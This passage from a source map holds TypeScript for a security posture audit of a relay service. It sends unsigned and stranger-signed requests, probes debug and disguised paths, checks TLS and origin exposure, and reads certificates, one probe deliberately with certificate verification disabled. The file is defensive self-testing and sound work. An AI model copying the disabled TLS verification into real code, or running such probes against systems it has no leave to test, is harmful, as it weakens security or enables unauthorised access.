.map((entry) => entry.trim().replace(/^DNS:/, \"\"))\n .filter((entry) => entry.length > 0);\n const cn: unknown = peer.subject.CN;\n socket.end();\n resolve({\n names: alt.length > 0 ? alt : [typeof cn === \"string\" ? cn : \"\"],\n validTo: peer.valid_to,\n });\n },\n );\n socket.on(\"error\", () => {\n resolve(undefined);\n });\n socket.on(\"timeout\", () => {\n socket.destroy();\n resolve(undefined);\n });\n });\n}\n\nexport const POSTURE_CHECKS: readonly PostureCheck[] = Object.freeze([\n {\n id: \"D001_SITE_ENQUEUE_REFUSES_UNSIGNED\",\n title: \"an anonymous caller cannot enqueue work in a site's name\",\n cites: [\"REQUESTS_SIGNED_NOT_BEARER\"],\n async run({ origin, fetch: f }) {\n const response = await f(`${origin}/relay/site/enqueue`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n // The version, because the auditor is a site-plane client like any\n // other (§B.4). Without it the relay refuses on the handshake and\n // this check would report \"refused\" for a reason that has nothing to\n // do with signatures — success for an unrelated reason, which is the\n // failure this whole file was written against.\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n siteId: \"any-site\",\n stub: STUB,\n }),\n });\n // The finding, exactly: a relay that accepts this routes unsolicited\n // work to consenting users' private hardware. The payload that follows\n // is sealed by the real site or not at all, so nothing forged *runs* —\n // and dispatch to someone's machine is a breach whatever the\n // ciphertext does.\n const refusal = await refusedByByollm(response);\n return outcome(refusal.ok, `POST /relay/site/enqueue ${refusal.why}`);\n },\n },\n {\n id: \"D002_SITE_READS_REFUSE_UNSIGNED\",\n title: \"an anonymous caller cannot read who is online\",\n cites: [\"REQUESTS_SIGNED_NOT_BEARER\"],\n async run({ origin, fetch: f }) {\n // Reads matter as much as writes here. A blind relay's whole claim is\n // that it holds routing metadata and nothing else — which makes that\n // metadata the entire prize, and \"who is online right now, on which\n // device, holding which lease\" is the shape of it.\n const why: string[] = [];\n let ok = true;\n for (const path of [\"pending\", \"results\"]) {\n const response = await f(\n `${origin}/relay/site/${path}?siteId=any-site&protocolVersion=${PROTOCOL_VERSION}`,\n );\n const refusal = await refusedByByollm(response);\n ok &&= refusal.ok;\n why.push(`${path} ${refusal.why}`);\n }\n return outcome(ok, why.join(\"; \"));\n },\n },\n {\n id: \"D003_DAEMON_PLANE_REFUSES_UNSIGNED\",\n title: \"an anonymous caller cannot claim work\",\n cites: [\"REQUESTS_SIGNED_NOT_BEARER\", \"CLAIM_REQUIRES_CAPABILITY\"],\n async run({ origin, basePath, fetch: f }) {\n const response = await f(`${origin}${basePath}/claim`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: \"nobody\",\n max: 1,\n capabilities: [{ kind: \"llm.generate\", models: [\"any\"] }],\n }),\n });\n const refusal = await refusedByByollm(response);\n return outcome(refusal.ok, `POST ${basePath}/claim ${refusal.why}`);\n },\n },\n {\n id: \"D004_REFUSES_A_STRANGER_S_VALID_SIGNATURE\",\n title: \"a well-formed signature from an unknown key is not enough\",\n cites: [\"REQUESTS_SIGNED_NOT_BEARER\", \"KEYS_EXCHANGED_AT_CONSENT\"],\n async run({ origin, basePath, fetch: f }) {\n // The check `D001`–`D003` cannot make: everything about these requests\n // is correct except whose key signed them. A deployment that verified\n // signatures without checking *whose* would pass the three above and\n // fail here, and that is a real implementation mistake rather than a\n // hypothetical one — verifying a signature and identifying a signer are\n // two steps, and the second is the one that gets skipped.\n const stranger = generateKeys(Date.now());\n const now = Date.now();\n\n const siteBody = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n siteId: \"any-site\",\n stub: STUB,\n });\n const siteSignature = signSiteRequest(stranger, {\n endpoint: \"enqueue\",\n siteId: \"any-site\",\n issuedAt: now,\n body: siteBody,\n });\n const site = await f(`${origin}/relay/site/enqueue`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-site\": \"any-site\",\n \"x-byollm-issued-at\": String(siteSignature.issuedAt),\n \"x-byollm-signature\": siteSignature.signature,\n },\n body: siteBody,\n });\n\n const daemonBody = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: \"nobody\",\n max: 1,\n capabilities: [{ kind: \"llm.generate\", models: [\"any\"] }],\n });\n const daemonSignature = signRequest(stranger, {\n endpoint: \"claim\",\n runnerId: \"nobody\",\n issuedAt: now,\n body: daemonBody,\n });\n const daemon = await f(`${origin}${basePath}/claim`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": \"nobody\",\n \"x-byollm-issued-at\": String(daemonSignature.issuedAt),\n \"x-byollm-signature\": daemonSignature.signature,\n },\n body: daemonBody,\n });\n\n const siteRefusal = await refusedByByollm(site);\n const daemonRefusal = await refusedByByollm(daemon);\n return outcome(\n siteRefusal.ok && daemonRefusal.ok,\n `signed by a stranger: site ${siteRefusal.why}, daemon ${daemonRefusal.why}`,\n );\n },\n },\n {\n id: \"D011_VERSION_NAMED_ON_BOTH_PLANES\",\n title: \"an unknown protocol version is refused by name, not by accident\",\n cites: [\"VERSION_HANDSHAKE_REQUIRED\"],\n async run({ origin, fetch: f }) {\n // byollm_009 §B.4. A mismatch that arrives as a generic `bad-request`\n // leaves a daemon and a server to discover they disagree by failing,\n // with nothing in the answer naming the disagreement or the fix — which\n // is what this relay did on every endpoint until the handshake landed.\n //\n // **Both planes, because the gap was a whole plane.** The daemon plane\n // had version literals in its schemas and the site plane had none, so a\n // check that probed one would have reported a handshake the other did\n // not have.\n const probes: { where: string; response: Response }[] = [\n {\n where: \"daemon\",\n response: await f(`${origin}/byollm/claim`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({ protocolVersion: \"99\", max: 1 }),\n }),\n },\n {\n where: \"site\",\n response: await f(`${origin}/relay/site/enqueue`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: \"99\",\n siteId: \"any-site\",\n stub: STUB,\n }),\n }),\n },\n ];\n\n const wrong: string[] = [];\n for (const probe of probes) {\n let body: { error?: string; supported?: unknown } = {};\n try {\n body = (await probe.response.json()) as typeof body;\n } catch {\n wrong.push(\n `${probe.where}: answered ${String(probe.response.status)} and not as byollm`,\n );\n continue;\n }\n if (body.error !== \"unsupported-protocol-version\") {\n wrong.push(\n `${probe.where}: answered ${String(probe.response.status)} ${String(body.error)}`,\n );\n continue;\n }\n // Named, not merely refused: the field a client acts on.\n if (!Array.isArray(body.supported)) {\n wrong.push(`${probe.where}: refused without naming what it speaks`);\n }\n }\n\n return outcome(\n wrong.length === 0,\n wrong.length === 0\n ? \"both planes name the version they speak\"\n : wrong.join(\"; \"),\n );\n },\n },\n\n {\n id: \"D005_NO_DEBUG_SURFACE\",\n title: \"the debug page is not on the internet\",\n cites: [],\n async run({ origin, basePath, fetch: f }) {\n // Finding eleven. The relay's debug page shows no prompt or result text\n // — it does not have them — and it does show every routed job, who\n // claimed it, and every lease in flight. Closing the site plane while\n // leaving this open protects the data from one door and not the other.\n const paths = [\"/debug\", `${basePath}/debug`];\n const statuses: number[] = [];\n for (const path of paths) {\n const response = await f(`${origin}${path}`);\n statuses.push(response.status);\n }\n return outcome(\n // **Not merely \"not 200\"** — cloud_009 §3 made the page per-site, so\n // an enabled one answers a probe with no site id `400` rather than\n // rendering. A check that accepted anything but 200 would pass\n // against a deployment whose debug page is one query parameter away,\n // which is finding eleven with a shorter walk.\n //\n // `404` is the only answer that means the route does not exist. The\n // reference relay says exactly that when its debug page is off, and\n // says `400` when it is on and the caller named no site.\n statuses.every((status) => status === 404),\n `debug paths answered ${statuses.map(String).join(\"/\")}`,\n );\n },\n },\n {\n id: \"D006_NO_PATH_DISPATCH\",\n title: \"a handler cannot be reached by dressing a path up to look like it\",\n cites: [\"REQUESTS_SIGNED_NOT_BEARER\"],\n async run({ origin, fetch: f }) {\n // A router that dispatched on the last path segment would serve\n // `/literally/anything/claim`. Worth checking from outside because it\n // is invisible from inside: an in-process harness calls the handler by\n // name and never constructs a URL that could be misread.\n const response = await f(`${origin}/literally/anything/claim`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({ protocolVersion: PROTOCOL_VERSION, max: 1 }),\n });\n const refusal = await refusedByByollm(response);\n return outcome(\n refusal.ok && response.status === 404,\n `POST /literally/anything/claim ${refusal.why}`,\n );\n },\n },\n {\n id: \"D007_TLS_ONLY\",\n title: \"the deployment is reached over TLS, and plaintext is not served\",\n cites: [],\n async run({ origin, fetch: f }) {\n if (!origin.startsWith(\"https://\")) {\n // Not a failure when auditing a local hub on purpose, but never\n // silent: an audit that reports \"posture good\" against an http origin\n // has certified the one thing that matters least.\n return outcome(false, `origin is ${origin} — this audit saw no TLS`);\n }\n // Payloads are sealed end to end and would survive plaintext transport.\n // Request signatures would not: on the wire they are replayable by\n // anyone on the path for the length of the freshness window, and every\n // site-plane and daemon-plane call carries one.\n const plain = origin.replace(\"https://\", \"http://\");\n const response = await f(`${plain}/healthz`, { redirect: \"manual\" });\n const redirected =\n response.status >= 300 &&\n response.status < 400 &&\n (response.headers.get(\"location\") ?? \"\").startsWith(\"https://\");\n return outcome(\n redirected || REFUSED.has(response.status),\n `plaintext answered ${String(response.status)}${\n redirected ? \" and redirects to https\" : \"\"\n }`,\n );\n },\n },\n\n {\n id: \"D008_ORIGIN_NOT_PUBLIC\",\n title: \"the origin answers the edge, and nobody else\",\n cites: [],\n async run({ origin, originAddress }) {\n // cloud_008 findings 44/45. A load balancer has a public address, and\n // an edge in front of it is a convention rather than a boundary until\n // the origin refuses everything else: anyone who resolves the address\n // reaches the hub past every WAF rule, rate limit and bot check the\n // zone applies, and appears in no edge log doing it.\n //\n // Bounded, and not nothing. Requests are signed and payloads sealed, so\n // a stranger cannot forge a claim or read a job — but they can reach\n // `/byollm/pair` and every plane endpoint at whatever rate the origin\n // serves, which is exactly the surface the edge exists to absorb.\n //\n // Skipped rather than failed when no address is supplied: an auditor\n // who does not know where the origin lives cannot ask this, and\n // guessing would be a check that passes for not looking.\n if (originAddress === undefined) {\n // **Fails, not skips.** This file's own rule, and the suite already\n // had a test for it: an audit that drops a check it could not run\n // reports a posture nobody measured, which reads identically to one\n // measured and found good.\n //\n // Written as a pass first, on the reasoning that most deployments\n // have no separate origin — and that test failed it immediately. The\n // reasoning was wrong in the way this whole audit exists to catch:\n // \"probably fine\" and \"verified\" must not print the same.\n return outcome(\n false,\n \"no origin address given — this posture was not measured \" +\n \"(pass the origin's address as the third argument)\",\n );\n }\n\n // Asked the way an attacker would, which `fetch` cannot.\n //\n // The first version of this check used `fetch` and passed for the wrong\n // reason: TLS fails against a bare IP because the certificate does not\n // name it, the request never reaches the load balancer's backend, and a\n // connection error read as \"refused\". It would have reported a green\n // origin with no policy attached at all.\n //\n // Plain HTTP does not work either — the frontend answers `301` before\n // any backend is chosen, so the policy is never consulted.\n //\n // So: HTTPS to the address, with the real host in SNI, and certificate\n // verification **off**. That is not a lapse. The property under test is\n // whether an address answers a stranger, not who the answer comes from,\n // and refusing to look because the certificate does not match the IP is\n // how the first version passed while proving nothing. Nothing else in\n // this kit may copy it.\n const host = new URL(origin).host;\n const status = await new Promise<number | \"refused\">((resolve) => {\n const request = httpsRequest(\n {\n host: originAddress,\n servername: host,\n headers: { host },\n path: \"/readyz\",\n method: \"GET\",\n rejectUnauthorized: false,\n timeout: 15_000,\n },\n (response) => {\n response.resume();\n resolve(response.statusCode ?? 0);\n },\n );\n request.on(\"error\", () => {\n resolve(\"refused\");\n });\n request.on(\"timeout\", () => {\n request.destroy();\n resolve(\"refused\");\n });\n request.end();\n });\n\n if (status === \"refused\") {\n // Nothing answered at all, which is the strongest form of this.\n return outcome(true, \"the origin address refused the connection\");\n }\n return outcome(\n status === 403,\n `the origin answered ${String(status)} to a direct request`,\n );\n },\n },\n\n {\n id: \"D009_CERT_NAMES_THE_PINNED_HOST\",\n title: \"the certificate names the hostname daemons pin\",\n cites: [],\n async run({ origin, originAddress }) {\n // cloud_008 finding 45. The load balancer held one certificate, for the\n // *origin* hostname, and `hub.byollm.cloud` — the name every daemon\n // pins and the edge validates — was not on it. Cloudflare cannot verify\n // a certificate that does not name what it asked for, so the zone sat\n // on plain Full: encrypted to the origin, not checking who the origin\n // is, while every daemon's pinned site keys arrive through it.\n //\n // Nothing said so. \"There is a certificate\" and \"there is a certificate\n // for the name being validated\" printed identically, which is why this\n // check exists rather than a note in a runbook.\n //\n // Asked over TLS with the real SNI and read from the peer, so it is the\n // certificate actually served rather than one somebody configured.\n const host = new URL(origin).host;\n if (originAddress === undefined) {\n return outcome(\n false,\n \"no origin address given — this posture was not measured. \" +\n \"Asking the hostname reads the edge's certificate, which names it \" +\n \"by construction and proves nothing about the origin\",\n );\n }\n const served = await servedCertificate(originAddress, host);\n const names = served?.names;\n\n if (names === undefined) {\n return outcome(\n false,\n `could not read a certificate from ${originAddress}`,\n );\n }\n const covered = names.some(\n (name) =>\n name === host ||\n (name.startsWith(\"*.\") && host.endsWith(name.slice(1))),\n );\n return outcome(\n covered,\n covered\n ? `served a certificate naming ${host}`\n : `the certificate names ${names.join(\", \")} — not ${host}`,\n );\n },\n },\n\n {\n id: \"D010_CERT_HAS_LIFE_LEFT\",\n title: \"the certificate is not about to expire\",\n cites: [],\n async run({ origin, originAddress }) {\n // A long-lived certificate is the kind whose expiry gets written in a\n // note and never looked at again. The one this deployment now depends\n // on runs to 2041, which makes it *more* likely to be forgotten, not\n // less — and it is load-bearing: it is what the edge validates before\n // it will carry a daemon's traffic at all.\n //\n // Measured from the artefact rather than from the note. A date somebody\n // owns has to mean a date something checks.\n //\n // Ninety days: long enough that a renewal is scheduled rather than\n // scrambled, short enough that the warning is still about something\n // real.\n const host = new URL(origin).host;\n if (originAddress === undefined) {\n return outcome(\n false,\n \"no origin address given — this posture was not measured \" +\n \"(the edge's certificate is Cloudflare's to renew, not ours)\",\n );\n }\n const served = await servedCertificate(originAddress, host);\n if (served === undefined) {\n return outcome(\n false,\n `could not read a certificate from ${originAddress}`,\n );\n }\n const days = Math.round(\n (Date.parse(served.validTo) - Date.now()) / 86_400_000,\n );\n return outcome(\n days > 90,\n `the certificate expires ${served.validTo} (${String(days)} days)`,\n );\n },\n },\n]);\n\n/**\n * Audit a running deployment. Holds nothing it was not given a URL for.\n *\n * Every check runs even after one fails, because a posture report's job is to\n * be a complete picture rather than the first thing that went wrong.\n */\nexport async function auditDeployment(options: {\n url: string;\n basePath?: string;\n /** The origin behind the edge, for `D008`. */\n originAddress?: string;\n fetch?: typeof fetch;\n onProgress?: (result: PostureResult) => void;\n}): Promise<PostureReport> {\n const origin = options.url.replace(/\\/+$/, \"\");\n const context: PostureContext = {\n origin,\n basePath: (options.basePath ?? \"/byollm\").replace(/\\/+$/, \"\"),\n ...(options.originAddress === undefined\n ? {}\n : { originAddress: options.originAddress }),\n fetch: options.fetch ?? globalThis.fetch,\n };\n\n const results: PostureResult[] = [];\n for (const check of POSTURE_CHECKS) {\n let result: PostureResult;\n try {\n result = { ...(await check.run(context)), ...describe(check) };\n } catch (error) {\n // A check that cannot complete is a failure, not a skip. An audit that\n // silently drops a probe it could not run reports a posture nobody\n // measured — which is worse than reporting none at all.\n result = {\n ...describe(check),\n passed: false,\n detail: `the probe failed: ${error instanceof Error ? error.message : \"unknown\"}`,\n };\n }\n results.push(result);\n options.onProgress?.(result);\n }\n\n return {\n origin,\n passed: results.every((result) => result.passed),\n results,\n };\n}\n\nconst describe = (check: PostureCheck) => ({\n id: check.id,\n title: check.title,\n cites: check.cites,\n});\n\nexport function formatPostureReport(report: PostureReport): string {\n const lines = [`deployment posture — ${report.origin}`, \"\"];\n for (const result of report.results) {\n lines.push(` ${result.passed ? \"ok \" : \"FAIL\"} ${result.id}`);\n lines.push(` ${result.title}`);\n lines.push(` ${result.detail}`);\n if (result.cites.length > 0) {\n lines.push(` cites ${result.cites.join(\", \")}`);\n }\n }\n const passed = report.results.filter((result) => result.passed).length;\n lines.push(\n \"\",\n report.passed\n ? `${String(passed)}/${String(report.results.length)} — a stranger got nowhere.`\n : `${String(passed)}/${String(report.results.length)} — a stranger got somewhere. See FAIL above.`,\n \"\",\n );\n return lines.join(\"\\n\");\n}\n"],"mappings":";AAAA,SAAS,WAAW,kBAAkB;AACtC,SAAS,WAAW,oBAAoB;AACxC;AAAA,EACE;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,OACK;AAuFP,IAAM,OAAO;AAAA,EACX,IAAI;AAAA,EACJ,MAAM;AAAA,EACN,OAAO;AAAA,EACP,UAAU;AAAA,EACV,WAAW;AAAA,EACX,WAAW;AAAA;AAAA,EAEX,YAAY;AACd;AAGA,IAAM,UAAU,oBAAI,IAAI,CAAC,KAAK,KAAK,GAAG,CAAC;AAmBvC,eAAe,gBACb,UACuC;AACvC,MAAI,CAAC,QAAQ,IAAI,SAAS,MAAM,GAAG;AACjC,WAAO,EAAE,IAAI,OAAO,KAAK,YAAY,OAAO,SAAS,MAAM,CAAC,GAAG;AAAA,EACjE;AACA,MAAI;AACJ,MAAI;AACF,WAAO,MAAM,SAAS,KAAK;AA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